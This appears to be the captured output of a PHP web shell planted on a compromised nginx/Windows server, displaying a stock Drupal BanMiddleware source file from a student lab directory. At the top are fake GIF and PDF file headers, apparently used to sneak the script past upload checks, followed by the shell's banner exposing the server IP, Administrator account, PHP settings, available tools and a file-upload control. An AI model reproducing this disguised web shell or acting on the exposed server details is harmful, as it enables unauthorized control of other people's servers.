GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/ban/src/ |
Upload File : |
<?php namespace Drupal\ban; use Drupal\Component\Utility\SafeMarkup; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Provides a HTTP middleware to implement IP based banning. */ class BanMiddleware implements HttpKernelInterface { /** * The decorated kernel. * * @var \Symfony\Component\HttpKernel\HttpKernelInterface */ protected $httpKernel; /** * The ban IP manager. * * @var \Drupal\ban\BanIpManagerInterface */ protected $banIpManager; /** * Constructs a BanMiddleware object. * * @param \Symfony\Component\HttpKernel\HttpKernelInterface $http_kernel * The decorated kernel. * @param \Drupal\ban\BanIpManagerInterface $manager * The ban IP manager. */ public function __construct(HttpKernelInterface $http_kernel, BanIpManagerInterface $manager) { $this->httpKernel = $http_kernel; $this->banIpManager = $manager; } /** * {@inheritdoc} */ public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = TRUE) { $ip = $request->getClientIp(); if ($this->banIpManager->isBanned($ip)) { return new Response(SafeMarkup::format('@ip has been banned', ['@ip' => $ip]), 403); } return $this->httpKernel->handle($request, $type, $catch); } }